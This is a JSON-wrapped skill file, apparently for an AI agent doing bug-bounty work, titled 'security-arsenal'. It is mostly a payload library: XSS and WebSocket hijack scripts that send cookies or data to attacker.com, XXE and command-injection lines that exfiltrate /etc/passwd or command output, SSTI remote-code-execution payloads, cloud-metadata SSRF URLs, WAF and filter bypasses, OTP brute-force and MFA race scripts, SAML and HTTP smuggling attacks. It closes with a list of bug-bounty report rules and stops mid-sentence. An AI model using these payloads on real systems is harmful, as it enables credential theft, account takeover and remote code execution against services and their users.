[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7ESB37YESHXNXVFPH9Q61CK":3,"skill-same:01M7ESB37YESHXNXVFPH9Q61CK":47},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":25,"commitSha":26,"skillDirectory":27,"forksCount":28,"repositoryHtmlUrl":29,"repositoryHomepageUrl":6,"ownerHtmlUrl":30,"ownerBlogUrl":6,"ownerDescription":31,"updatedAt":32,"install":33,"resources":46},"01M7ESB37YESHXNXVFPH9Q61CK","security-arsenal",null,"Security payloads, bypass tables, wordlists, gf pattern names, always-rejected bug list, and conditionally-valid-with-chain table. Use when you need specific payloads for XSS\u002FSSRF\u002FSQLi\u002FXXE\u002FNoSQLi\u002Fcommand injection\u002FSSTI\u002FIDOR\u002Fpath-traversal\u002FHTTP smuggling\u002FWebSocket\u002FMFA bypass, or bypass techniques. Submittability and the always-rejected \u002F what-NOT-to-submit decision are owned by triage-validation.","lza6\u002FArmor-piercing-system-prompts","lza6","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F128880206?v=4","01M7EB3K7WPX5T28EJ2NVHE6EG","Chinese-tingfeng","01M7EB3K97E1KQ16QWKJMFNGX8",11,"MIT","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F04-安全渗透\u002Fsecurity-arsenal\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: security-arsenal\ndescription: Security payloads, bypass tables, wordlists, gf pattern names, always-rejected bug list, and conditionally-valid-with-chain table. Use when you need specific payloads for XSS\u002FSSRF\u002FSQLi\u002FXXE\u002FNoSQLi\u002Fcommand injection\u002FSSTI\u002FIDOR\u002Fpath-traversal\u002FHTTP smuggling\u002FWebSocket\u002FMFA bypass, or bypass techniques. Submittability and the always-rejected \u002F what-NOT-to-submit decision are owned by triage-validation.\nsources: community, public_research\n---\n\n# SECURITY ARSENAL\n\nPayloads, bypass tables, wordlists, and submission rules.\n\n---\n\n## XSS PAYLOADS\n\n### Basic Probes\n```javascript\n\u003Cscript>alert(document.domain)\u003C\u002Fscript>\n\u003Cimg src=x onerror=alert(document.domain)>\n\u003Csvg onload=alert(document.domain)>\n\">\u003Cscript>alert(1)\u003C\u002Fscript>\n'>\u003Cimg src=x onerror=alert(1)>\njavascript:alert(document.domain)\n```\n\n### Cookie Theft (proof of impact)\n```javascript\n\u003Cscript>document.location='https:\u002F\u002Fattacker.com\u002Fc?c='+document.cookie\u003C\u002Fscript>\n\u003Cimg src=x onerror=\"fetch('https:\u002F\u002Fattacker.com?c='+document.cookie)\">\n\u003Cscript>fetch('https:\u002F\u002Fattacker.com?c='+btoa(document.cookie))\u003C\u002Fscript>\n```\n\n### CSP Bypass Techniques\n```javascript\n\u002F\u002F If unsafe-inline blocked — use fetch\u002FXHR\n\u003Cimg src=x onerror=\"fetch('https:\u002F\u002Fattacker.com?d='+btoa(document.cookie))\">\n\n\u002F\u002F If script-src nonce present — find nonce reflection\n\u003Cscript nonce=\"NONCE_FROM_PAGE\">alert(1)\u003C\u002Fscript>\n\n\u002F\u002F Angular template injection (bypasses many CSPs)\n{{constructor.constructor('alert(1)')()}}\n\n\u002F\u002F React dangerouslySetInnerHTML reflection\n\u002F\u002F Vue v-html binding\n\n\u002F\u002F mXSS (mutation-based XSS)\n\u003Cnoscript>\u003Cp title=\"\u003C\u002Fnoscript>\u003Cimg src=x onerror=alert(1)>\">\n\n\u002F\u002F Polyglot (works in HTML\u002FJS\u002FCSS context)\n'\">>\u003Cmarquee>\u003Cimg src=x onerror=confirm(1)>\u003C\u002Fmarquee>\">\u003C\u002Fplaintext\\>\u003C\u002F|\\>\u003Cplaintext\u002Fonmouseover=prompt(1)>\u003Cscript>prompt(1)\u003C\u002Fscript>@gmail.com\u003Cisindex formaction=javascript:alert(\u002FXSS\u002F) type=submit>'-->\">\u003C\u002Fscript>\u003Cscript>alert(1)\u003C\u002Fscript>\n```\n\n### DOM XSS Sources and Sinks\n```javascript\n\u002F\u002F Sources (user-controlled input)\nlocation.hash\nlocation.search\nlocation.href\ndocument.referrer\nwindow.name\ndocument.URL\n\n\u002F\u002F Sinks (dangerous)\ninnerHTML = SOURCE\nouterHTML = SOURCE\ndocument.write(SOURCE)\neval(SOURCE)\nsetTimeout(SOURCE, ...)   \u002F\u002F string form\nsetInterval(SOURCE, ...)\nnew Function(SOURCE)\nelement.src = SOURCE      \u002F\u002F javascript: URI\nelement.href = SOURCE\nlocation.href = SOURCE\n```\n\n---\n\n## SSRF PAYLOADS\n\n### Cloud Metadata\n```bash\n# AWS\nhttp:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\nhttp:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\nhttp:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002FROLE-NAME\nhttp:\u002F\u002F169.254.169.254\u002Flatest\u002Fuser-data\u002F\nhttp:\u002F\u002F169.254.169.254\u002Flatest\u002Fdynamic\u002Finstance-identity\u002Fdocument\n\n# GCP\nhttp:\u002F\u002Fmetadata.google.internal\u002FcomputeMetadata\u002Fv1\u002Finstance\u002Fservice-accounts\u002Fdefault\u002Ftoken\n# Header: Metadata-Flavor: Google\n\n# Azure IMDS\nhttp:\u002F\u002F169.254.169.254\u002Fmetadata\u002Finstance?api-version=2021-02-01\n# Header: Metadata: true\n```\n\n### Internal Service Fingerprinting\n```bash\nhttp:\u002F\u002Flocalhost:6379      # Redis (unauthenticated, RESP protocol)\nhttp:\u002F\u002Flocalhost:9200      # Elasticsearch (\u002F_cat\u002Findices)\nhttp:\u002F\u002Flocalhost:27017     # MongoDB (binary — check for connection refused vs timeout)\nhttp:\u002F\u002Flocalhost:8080      # Admin panel\nhttp:\u002F\u002Flocalhost:2375      # Docker API — GET \u002Fcontainers\u002Fjson\nhttp:\u002F\u002Flocalhost:10.96.0.1:443  # Kubernetes API server\n```\n\n### SSRF IP Bypass Payloads\n```bash\n# All of these map to 127.0.0.1:\nhttp:\u002F\u002F2130706433          # decimal\nhttp:\u002F\u002F0177.0.0.1          # octal\nhttp:\u002F\u002F0x7f.0x0.0x0.0x1   # hex\nhttp:\u002F\u002F127.1               # short form\nhttp:\u002F\u002F[::1]               # IPv6 loopback\nhttp:\u002F\u002F[::ffff:127.0.0.1]  # IPv4-mapped IPv6\nhttp:\u002F\u002F[::ffff:0x7f000001] # mixed hex IPv6\n\n# DNS rebinding: A→external, then resolves to internal after allowlist check\n\n# Redirect chain (Vercel pattern):\n# If filter only checks initial URL but follows redirects:\nhttp:\u002F\u002Fallowed-domain.com\u002Fredirect?to=http:\u002F\u002F169.254.169.254\u002F\n```\n\n---\n\n## SQL INJECTION PAYLOADS\n\n### Detection\n```sql\n'\n''\n`\n')\n'))\n' OR '1'='1\n' OR 1=1--\n' OR 1=1#\n' UNION SELECT NULL--\n'; WAITFOR DELAY '0:0:5'--   -- MSSQL time-based\n'; SELECT SLEEP(5)--          -- MySQL time-based\n' OR SLEEP(5)--\n```\n\n### Union-Based (determine column count)\n```sql\n' UNION SELECT NULL--\n' UNION SELECT NULL,NULL--\n' UNION SELECT NULL,NULL,NULL--\n' UNION SELECT 'a',NULL,NULL--\n```\n\n### Blind SQLi (time-based confirmation)\n```sql\n# MySQL\n' AND SLEEP(5)--\n# PostgreSQL\n' AND pg_sleep(5)--\n# MSSQL\n'; WAITFOR DELAY '0:0:5'--\n# Oracle\n' AND 1=dbms_pipe.receive_message('a',5)--\n```\n\n### WAF Bypass\n```sql\n\u002F*!50000 SELECT*\u002F * FROM users     -- MySQL inline comment\nSE\u002F**\u002FLECT * FROM users             -- comment injection\nSeLeCt * FrOm uSeRs                -- case variation\n%27 OR %271%27=%271                 -- URL encoding\nʼ OR ʼ1ʼ=ʼ1                       -- Unicode apostrophe\n```\n\n---\n\n## XXE PAYLOADS\n\n### Classic File Read\n```xml\n\u003C?xml version=\"1.0\"?>\n\u003C!DOCTYPE foo [\u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">]>\n\u003Cfoo>&xxe;\u003C\u002Ffoo>\n```\n\n### Blind OOB via HTTP (DNS confirmation)\n```xml\n\u003C?xml version=\"1.0\"?>\n\u003C!DOCTYPE foo [\u003C!ENTITY xxe SYSTEM \"http:\u002F\u002Fattacker.burpcollaborator.net\u002Fxxe\">]>\n\u003Cfoo>&xxe;\u003C\u002Ffoo>\n```\n\n### Blind OOB via DNS + Data Exfil\n```xml\n\u003C?xml version=\"1.0\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY % data SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">\n  \u003C!ENTITY % param1 \"\u003C!ENTITY exfil SYSTEM 'http:\u002F\u002Fattacker.com\u002F?%data;'>\">\n  %param1;\n]>\n\u003Cfoo>&exfil;\u003C\u002Ffoo>\n```\n\n### XXE via DOCX\u002FSVG\u002FPDF Upload\n- SVG: `\u003Cimage href=\"file:\u002F\u002F\u002Fetc\u002Fpasswd\" \u002F>`\n- DOCX: malicious XML in `word\u002Fdocument.xml` with external entity\n\n---\n\n## PATH TRAVERSAL PAYLOADS\n\n```bash\n..\u002F..\u002F..\u002Fetc\u002Fpasswd\n....\u002F\u002F....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd\n..%2F..%2F..%2Fetc%2Fpasswd\n%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd\n..%252f..%252f..%252fetc%252fpasswd   # double URL encoding\n\u002Fetc\u002Fpasswd%00.jpg                     # null byte truncation\n....\\\u002F....\\\u002Fetc\u002Fpasswd                 # mix of separators\n```\n\n---\n\n## IDOR \u002F AUTH BYPASS PAYLOADS\n\n### Horizontal Privilege Escalation\n```bash\n# Change numeric ID\nGET \u002Fapi\u002Fuser\u002F123\u002Fprofile → GET \u002Fapi\u002Fuser\u002F124\u002Fprofile\n\n# Change UUID (find victim UUID via other endpoints)\nGET \u002Fapi\u002Fprofile\u002Fa1b2c3d4-... → GET \u002Fapi\u002Fprofile\u002Fe5f6g7h8-...\n\n# HTTP method swap\nPUT \u002Fapi\u002Fuser\u002F123 (protected) → DELETE \u002Fapi\u002Fuser\u002F123 (not protected)\n\n# Old API version\nGET \u002Fv2\u002Fusers\u002F123 (protected) → GET \u002Fv1\u002Fusers\u002F123 (not protected)\n\n# Add parameter\nGET \u002Fapi\u002Forders → GET \u002Fapi\u002Forders?user_id=456\n```\n\n### Vertical Privilege Escalation\n```bash\n# Parameter pollution\nPOST \u002Fapi\u002Fuser\u002Fupdate\n{\"role\": \"admin\"}\n{\"isAdmin\": true}\n{\"admin\": 1}\n\n# Hidden fields\n\u003Cinput type=\"hidden\" name=\"admin\" value=\"true\">\n# Change in Burp before sending\n\n# GraphQL introspection → find admin mutations\n{\"query\": \"{ __schema { types { name fields { name } } } }\"}\n```\n\n---\n\n## AUTHENTICATION BYPASS PAYLOADS\n\n### JWT Attacks\n```bash\n# None algorithm\n# Decode JWT, change alg to \"none\", remove signature\nimport base64, json\nheader = base64.b64encode(json.dumps({\"alg\":\"none\",\"typ\":\"JWT\"}).encode()).decode().rstrip('=')\npayload = base64.b64encode(json.dumps({\"sub\":\"1\",\"role\":\"admin\"}).encode()).decode().rstrip('=')\ntoken = f\"{header}.{payload}.\"\n\n# Secret bruteforce\nhashcat -a 0 -m 16500 jwt.txt ~\u002Fwordlists\u002Frockyou.txt\n```\n\n### OAuth Attacks\n```bash\n# Missing PKCE test\nGET \u002Foauth2\u002Fauth?response_type=code&client_id=X&redirect_uri=Y&scope=Z\n# No code_challenge → check if 302 (not error) = PKCE not enforced\n\n# State parameter check\nGET \u002Foauth2\u002Fauth?response_type=code&client_id=X&redirect_uri=Y&scope=Z\n# Missing\u002Fstatic state parameter = CSRF on OAuth = account linkage attack\n```\n\n---\n\n## NOSQL INJECTION PAYLOADS (MongoDB)\n\n### Operator Injection (JSON body)\n```json\n{\"username\": {\"$ne\": null}, \"password\": {\"$ne\": null}}\n{\"username\": {\"$regex\": \".*\"}, \"password\": {\"$regex\": \".*\"}}\n{\"username\": \"admin\", \"password\": {\"$gt\": \"\"}}\n{\"$where\": \"this.username == 'admin'\"}\n{\"username\": {\"$in\": [\"admin\", \"root\", \"administrator\"]}}\n```\n\n### GET Parameter Injection\n```bash\n# URL parameter injection\n\u002Flogin?username[$ne]=null&password[$ne]=null\n\u002Flogin?username[$regex]=.*&password[$regex]=.*\n\u002Flogin?username=admin&password[$gt]=\n\n# MongoDB operator reference:\n# $ne = not equal (bypass: value != null = any value matches)\n# $gt = greater than (bypass: \"\" \u003C any string)\n# $regex = regex match (bypass: .* = anything)\n# $where = JS expression (RCE potential on older MongoDB)\n```\n\n### Auth Bypass One-Liners\n```bash\ncurl -s -X POST https:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\":{\"$ne\":null},\"password\":{\"$ne\":null}}'\n\n# URL-encoded for GET forms:\n# username%5B%24ne%5D=null&password%5B%24ne%5D=null\n```\n\n---\n\n## COMMAND INJECTION PAYLOADS\n\n### Basic Detection\n```bash\n; id\n| id\n` id `\n$(id)\n&& id\n|| id\n; sleep 5\n| sleep 5\n$(sleep 5)\n`sleep 5`\n```\n\n### Blind OOB (out-of-band confirmation)\n```bash\n; curl https:\u002F\u002Fattacker.burpcollaborator.net\n; nslookup attacker.burpcollaborator.net\n$(nslookup attacker.burpcollaborator.net)\n`ping -c 1 attacker.burpcollaborator.net`\n; wget https:\u002F\u002Fattacker.com\u002F$(id|base64)\n```\n\n### Bypass Techniques\n```bash\n# Bypass space filter\n;{cat,\u002Fetc\u002Fpasswd}\n;cat${IFS}\u002Fetc\u002Fpasswd\n;cat$IFS\u002Fetc\u002Fpasswd\n;IFS=,;cat,\u002Fetc\u002Fpasswd\n\n# Bypass keyword filter (cat, id blocked)\n# Obfuscate with quotes\n;c'a't \u002Fetc\u002Fpasswd\n;c\"a\"t \u002Fetc\u002Fpasswd\n;$(printf '\\x63\\x61\\x74') \u002Fetc\u002Fpasswd\n\n# Bypass via env\n;$BASH -c 'id'\n;${IFS}id\n\n# Windows-specific\n& dir\n| type C:\\Windows\\win.ini\n& ping -n 1 attacker.com\n```\n\n### Context-Specific (filename injection)\n```bash\n# File upload filenames\ntest.jpg; id\ntest$(id).jpg\ntest`id`.jpg\n..\u002Ftest.jpg\n..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\n```\n\n---\n\n## SSTI DETECTION PAYLOADS (All Engines)\n\n### Universal Probe (send all, observe which evaluate)\n```\n{{7*7}}        → 49 = Jinja2 (Python) or Twig (PHP)\n${7*7}         → 49 = Freemarker (Java) or Spring EL\n\u003C%= 7*7 %>     → 49 = ERB (Ruby) or EJS (Node.js)\n#{7*7}         → 49 = Mako (Python) or Pebble (Java)\n*{7*7}         → 49 = Spring Thymeleaf\n{{7*'7'}}      → 7777777 = Jinja2 (not Twig — Twig gives 49)\n${\"freemarker.template.utility.Execute\"?new()(\"id\")}  → Freemarker RCE\n```\n\n### RCE Payloads by Engine\n\n**Jinja2 (Python\u002FFlask\u002FDjango):**\n```python\n{{config.__class__.__init__.__globals__['os'].popen('id').read()}}\n{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}\n{{''.__class__.__mro__[1].__subclasses__()[396]('id',shell=True,stdout=-1).communicate()[0].strip()}}\n```\n\n**Twig (PHP\u002FSymfony):**\n```php\n{{_self.env.registerUndefinedFilterCallback(\"exec\")}}{{_self.env.getFilter(\"id\")}}\n{{['id']|filter('system')}}\n```\n\n**Freemarker (Java):**\n```\n${\"freemarker.template.utility.Execute\"?new()(\"id\")}\n\u003C#assign ex=\"freemarker.template.utility.Execute\"?new()>${ ex(\"id\") }\n```\n\n**ERB (Ruby on Rails):**\n```ruby\n\u003C%= `id` %>\n\u003C%= system(\"id\") %>\n\u003C%= IO.popen('id').read %>\n```\n\n**Spring Thymeleaf:**\n```java\n${T(java.lang.Runtime).getRuntime().exec('id')}\n__${T(java.lang.Runtime).getRuntime().exec(\"id\")}__::.x\n```\n\n**EJS (Node.js):**\n```javascript\n\u003C%= process.mainModule.require('child_process').execSync('id') %>\n```\n\n### Where to Test\n```\nName\u002Fbio\u002Fusername fields, email subject templates, invoice\u002FPDF generators,\nURL path parameters reflected in page, error messages, search query reflections,\nHTTP headers that appear in rendered responses, notification templates\n```\n\n---\n\n## HTTP SMUGGLING PAYLOADS\n\n### CL.TE — Content-Length front-end, Transfer-Encoding back-end\n```http\nPOST \u002F HTTP\u002F1.1\nHost: target.com\nContent-Length: 13\nTransfer-Encoding: chunked\n\n0\n\nSMUGGLED\n```\n\n### TE.CL — Transfer-Encoding front-end, Content-Length back-end\n```http\nPOST \u002F HTTP\u002F1.1\nHost: target.com\nTransfer-Encoding: chunked\nContent-Length: 3\n\n8\nSMUGGLED\n0\n\n\n```\n\n### TE.TE — Both support Transfer-Encoding, obfuscate to disable one\n```http\n# Obfuscate the TE header so one layer ignores it\nTransfer-Encoding: xchunked\nTransfer-Encoding: chunked\nTransfer-Encoding: chunked\nTransfer-Encoding: x\n\nTransfer-Encoding:[tab]chunked\n[space]Transfer-Encoding: chunked\nX: X[\\n]Transfer-Encoding: chunked\nTransfer-Encoding\n: chunked\n```\n\n### H2.CL — HTTP\u002F2 front-end with Content-Length injection\n```\n# In Burp Repeater, switch to HTTP\u002F2\n# Add Content-Length header manually (not auto-set by HTTP\u002F2)\n# Front-end ignores CL (HTTP\u002F2 uses :content-length pseudo-header)\n# Back-end uses CL → desync\n```\n\n### Detection (Burp)\n```\n1. Install HTTP Request Smuggler extension\n2. Right-click request → Extensions → HTTP Request Smuggler → Smuggle probe\n3. All four probe types automatically sent\n4. ~10-second timeout on CL.TE probe = back-end waiting = CONFIRMED\n```\n\n### Impact Chain\n```\nBasic desync          → Capture victim's next request → Read their auth token\n+ Admin user traffic  → Access admin as victim\n+ Cache poisoning     → Stored XSS at scale for all users\n```\n\n---\n\n## WEBSOCKET PAYLOADS\n\n### IDOR \u002F Auth Bypass\n```javascript\n\u002F\u002F Test: subscribe to other user's channel\n{\"action\": \"subscribe\", \"channel\": \"user_VICTIM_ID_HERE\"}\n{\"action\": \"get_history\", \"userId\": \"VICTIM_UUID\"}\n{\"action\": \"getProfile\", \"id\": 2}\n{\"action\": \"admin.listUsers\"}\n{\"action\": \"admin.getToken\", \"userId\": \"1\"}\n```\n\n### Cross-Site WebSocket Hijacking (CSWSH)\n```html\n\u003C!-- Host on attacker site. If no Origin validation, steals victim's WS data. -->\n\u003Cscript>\nvar ws = new WebSocket('wss:\u002F\u002Ftarget.com\u002Fws');\n\u002F\u002F Browser automatically sends victim's cookies\nws.onopen = () => ws.send(JSON.stringify({action:\"getProfile\"}));\nws.onmessage = (e) => fetch('https:\u002F\u002Fattacker.com\u002F?d='+encodeURIComponent(e.data));\n\u003C\u002Fscript>\n```\n\n### Test Origin Validation\n```bash\n# Should reject non-target origins. If it doesn't = CSWSH vulnerability\nwscat -c \"wss:\u002F\u002Ftarget.com\u002Fws\" -H \"Origin: https:\u002F\u002Fevil.com\"\nwscat -c \"wss:\u002F\u002Ftarget.com\u002Fws\" -H \"Origin: null\"\nwscat -c \"wss:\u002F\u002Ftarget.com\u002Fws\" -H \"Origin: https:\u002F\u002Ftarget.com.evil.com\"\n```\n\n### Injection via WS Messages\n```javascript\n\u002F\u002F XSS in chat\u002Fnotification system\n{\"message\": \"\u003Cimg src=x onerror=fetch('https:\u002F\u002Fattacker.com?c='+document.cookie)>\"}\n\n\u002F\u002F SQLi\n{\"action\": \"search\", \"query\": \"' OR 1=1--\"}\n\n\u002F\u002F SSRF (if server fetches URLs from messages)\n{\"action\": \"preview\", \"url\": \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\"}\n```\n\n---\n\n## MFA \u002F 2FA BYPASS PAYLOADS\n\n### Pattern 1: OTP Brute Force (no rate limit)\n```bash\n# Try all 6-digit OTPs\nffuf -u \"https:\u002F\u002Ftarget.com\u002Fapi\u002Fverify-otp\" \\\n  -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Cookie: session=YOUR_SESSION\" \\\n  -d '{\"otp\":\"FUZZ\"}' \\\n  -w \u003C(seq -w 000000 999999) \\\n  -fc 400,429 \\\n  -t 5\n\n# Rate limit bypass: rotate session tokens between requests\n# Or use GraphQL batching to send 100 attempts per request\n```\n\n### Pattern 2: OTP Reuse (token not invalidated)\n```\n1. Request OTP → receive \"123456\"\n2. Submit OTP correctly → authenticated\n3. Log out\n4. Log in again\n5. Submit same OTP \"123456\" (expired? still works?)\n6. Try OTP from previous session at new login\n```\n\n### Pattern 3: Response Manipulation\n```\nStep 1: Enter wrong OTP → intercept response in Burp\nStep 2: Change: {\"success\": false, \"message\": \"Invalid OTP\"} → {\"success\": true}\nStep 3: Forward modified response → sometimes app trusts it and proceeds\nAlso try: change status code 401 → 200, or change redirect from \u002Ffailed to \u002Fdashboard\n```\n\n### Pattern 4: Code Predictability\n```python\nimport requests, time\n\n# Some implementations use timestamp-based OTPs:\nfor t_offset in range(-30, 31):  # Test ±30 seconds\n    totp_value = generate_totp(secret, time.time() + t_offset)\n    r = requests.post(\"https:\u002F\u002Ftarget.com\u002Fapi\u002Fmfa\", json={\"otp\": totp_value})\n    if r.status_code == 200:\n        print(f\"VALID at offset {t_offset}s: {totp_value}\")\n        break\n```\n\n### Pattern 5: Backup Codes Not Rate Limited\n```bash\n# Backup codes are typically 8-character alphanumeric = smaller space than 6-digit TOTP\n# Try brute force on \u002Fapi\u002Fverify-backup-code if no rate limit\n```\n\n### Pattern 6: Skip MFA Step (Workflow Bypass)\n```bash\n# After entering username\u002Fpassword, you get a session cookie\n# Test: skip the \u002Fmfa\u002Fverify step entirely, go directly to \u002Fdashboard\n# If cookie grants access before MFA = auth flow bypass\n\n# Also: complete MFA in one session, reuse cookie in another browser\n# Checks whether MFA completion is tied to the specific session\n```\n\n### Pattern 7: Race on MFA Verification\n```python\nimport asyncio, aiohttp\n\n# Race 2 MFA verifications simultaneously\n# If both succeed = parallel session ATO\nasync def verify(session, otp):\n    async with session.post(\"https:\u002F\u002Ftarget.com\u002Fapi\u002Fmfa\u002Fverify\",\n                            json={\"otp\": otp}) as r:\n        return await r.json()\n\nasync def race():\n    async with aiohttp.ClientSession(cookies={\"session\": \"YOUR_SESSION\"}) as s:\n        results = await asyncio.gather(verify(s, \"123456\"), verify(s, \"123456\"))\n        print(results)\n\nasyncio.run(race())\n```\n\n---\n\n## SAML ATTACKS\n\n### Attack 1: XML Signature Wrapping (XSW)\n```xml\n\u003C!-- Original valid assertion: -->\n\u003Csaml:Assertion ID=\"legit\">\n  \u003CNameID>user@company.com\u003C\u002FNameID>\n  \u003Cds:Signature>VALID_SIGNATURE_OVER_legit\u003C\u002Fds:Signature>\n\u003C\u002Fsaml:Assertion>\n\n\u003C!-- XSW: Inject malicious assertion before\u002Fafter the signed one. -->\n\u003C!-- Server validates signature on #legit but processes #evil instead. -->\n\u003Csaml:Response>\n  \u003Csaml:Assertion ID=\"evil\">\n    \u003CNameID>admin@company.com\u003C\u002FNameID>     \u003C!-- Attacker-controlled -->\n  \u003C\u002Fsaml:Assertion>\n  \u003Csaml:Assertion ID=\"legit\">              \u003C!-- Original stays valid -->\n    \u003CNameID>user@company.com\u003C\u002FNameID>\n    \u003Cds:Signature>VALID_SIGNATURE\u003C\u002Fds:Signature>\n  \u003C\u002Fsaml:Assertion>\n\u003C\u002Fsaml:Response>\n```\n\n### Attack 2: Comment Injection in NameID\n```xml\n\u003C!-- Original: user@company.com -->\n\u003C!-- Injected:  -->\n\u003CNameID>admin\u003C!---->@company.com\u003C\u002FNameID>\n\u003C!-- XML parsers strip comments: admin@company.com -->\n\u003C!-- SAML validator sees \"user@company.com\" (before comment) -->\n\u003C!-- Application uses \"admin@company.com\" (after comment stripped) -->\n```\n\n### Attack 3: Signature Stripping\n```\n1. Capture SAMLResponse (base64 decode from browser)\n2. Remove or modify the \u003CSignature> element entirely\n3. Change NameID to admin@company.com\n4. Re-encode and submit\n5. If server doesn't validate signature presence = admin login\n```\n\n### Attack 4: XXE in SAML Assertion\n```xml\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">]>\n\u003Csaml:Response>\n  \u003Csaml:Assertion>\n    \u003CNameID>&xxe;\u003C\u002FNameID>\n  \u003C\u002Fsaml:Assertion>\n\u003C\u002Fsaml:Response>\n```\n\n### Tools\n```bash\n# SAMLRaider (Burp extension) — most automated XSW testing\n# Install from BApp Store, intercept SAMLResponse, right-click → SAML Raider\n\n# Manual: decode, modify, re-encode\necho \"BASE64_SAML_RESPONSE\" | base64 -d | xmllint --format - > saml.xml\n# Edit saml.xml\ncat saml.xml | base64 -w0  # Re-encode\n```\n\n---\n\n## GF PATTERN NAMES (tomnomnom\u002Fgf)\n\n```bash\n# Install: https:\u002F\u002Fgithub.com\u002Ftomnomnom\u002Fgf\n# Usage: cat urls.txt | gf PATTERN\n\ngf xss          # XSS parameters\ngf ssrf         # SSRF parameters\ngf idor         # IDOR parameters\ngf sqli         # SQL injection parameters\ngf redirect     # Open redirect parameters\ngf lfi          # Local file inclusion\ngf rce          # Remote code execution parameters\ngf ssti         # Template injection parameters\ngf debug_logic  # Debug\u002Flogic parameters\ngf secrets      # Secret\u002Ftoken patterns\ngf upload-fields # File upload parameters\ngf cors         # CORS-related parameters\n```\n\n---\n\n## ALWAYS REJECTED — NEVER SUBMIT\n\nSubmitting these destroys your validity ratio. N\u002FA hurts. Don't.\n\n```\nMissing CSP \u002F HSTS \u002F X-Frame-Options \u002F other security headers\nMissing SPF \u002F DKIM \u002F DMARC\nGraphQL introspection alone (no auth bypass, no IDOR)\nBanner \u002F version disclosure without a working CVE exploit\nClickjacking on non-sensitive pages (no sensitive action in PoC)\nTabnabbing\nCSV injection (no actual code execution shown)\nCORS wildcard (*) without credential exfil PoC\nLogout CSRF\nSelf-XSS (only exploits own account)\nOpen redirect alone (no ATO chain, no OAuth code theft)\nOAuth client_secret in mobile app (disclosed, expected)\nSSRF with DNS callback only (no internal service access)\nHost header injection alone (no password reset poisoning PoC)\nRate limit on non-critical forms (login page Cloudflare, search, contact)\nSession not invalidated on logout\nConcurrent sessions allowed\nInternal IP address in error message\nMixed content (HTTP resources on HTTPS page)\nSSL weak cipher suites\nMissing HttpOnly \u002F Secure cookie flags alone\nBroken external links\nPre-account takeover (usually — requires very specific conditions)\nAutocomplete on password fields\n```\n\n---\n\n## CONDITIONALLY VALID — REQUIRES CHAIN\n\nThese are valid ONLY when combined with a chain that proves real impact:\n\n| Standalone Finding | Chain Required | Result if Chained |\n|---|---|---|\n| Open redirect | + OAuth code theft via redirect_uri abuse | ATO (Critical) |\n| Clickjacking | + sensitive action + working PoC (not just login) | Medium |\n| CORS wildcard | + credentialed request exfils user data | High |\n| CSRF | + sensitive action (transfer funds, change email) | High |\n| Rate limit bypass | + OTP\u002Ftoken brute force succeeding | Medium\u002FHigh |\n| SSRF DNS-only | + internal service access + data retrieval | Medium |\n| Host header injection | + password reset email uses it | High |\n| Prompt injection | + reads other user's data (IDOR) OR exfil OR RCE | High |\n| S3 bucket listing | + JS bundles with API keys\u002FOAuth secrets | Medium\u002FHigh |\n| Self-XSS | + CSRF to trigger it on victim | Medium |\n| Subdomain takeover | + OAuth redirect_uri registered at that subdomain | Critical |\n| GraphQL introspection | + auth bypass mutation or IDOR on node() | High |\n\n**Rule:** Build the chain first, confirm it works end-to-end, THEN report. Never report A and say \"could chain with B\" — prove it.\n\n---\n\n## WORDLISTS (Installed in ~\u002Fwordlists\u002F)\n\n```\ncommon.txt         # Common directories and files\nparams.txt         # Parameter names (id, user_id, file, etc.)\napi-endpoints.txt  # API endpoint paths (\u002Fapi\u002Fv1\u002Fusers, etc.)\ndirs.txt           # Directory names\nsensitive.txt      # Sensitive paths (.env, config.json, backup, etc.)\n```\n\n### Built-in Paths Worth Fuzzing\n\n```bash\n# Sensitive files\n\u002F.env\n\u002F.git\u002Fconfig\n\u002Fconfig.json\n\u002Fcredentials.json\n\u002Fbackup.sql\n\u002Fdump.sql\n\u002F.DS_Store\n\u002Frobots.txt\n\u002Fsitemap.xml\n\u002F.well-known\u002Fsecurity.txt\n\n# Admin panels\n\u002Fadmin\n\u002Fadmin\u002Flogin\n\u002Fadministrator\n\u002Fwp-admin\n\u002Fmanager\n\u002Fconsole\n\u002Fdashboard\n\u002Fpanel\n\n# API discovery\n\u002Fapi\n\u002Fapi\u002Fv1\n\u002Fapi\u002Fv2\n\u002Fgraphql\n\u002Fgraphiql\n\u002Fswagger\n\u002Fswagger-ui.html\n\u002Fapi-docs\n\u002Fopenapi.json\n\u002Fv1\n\u002Fv2\n```\n\n---\n\n## Related Skills & Chains\n\n- **`hunt-xss`** \u002F **`hunt-ssrf`** \u002F **`hunt-sqli`** \u002F **`hunt-ssti`** \u002F **`hunt-idor`** — When a hunter is actively testing a parameter and needs payloads. Workflow primitive: this skill is the payload library those hunt-* 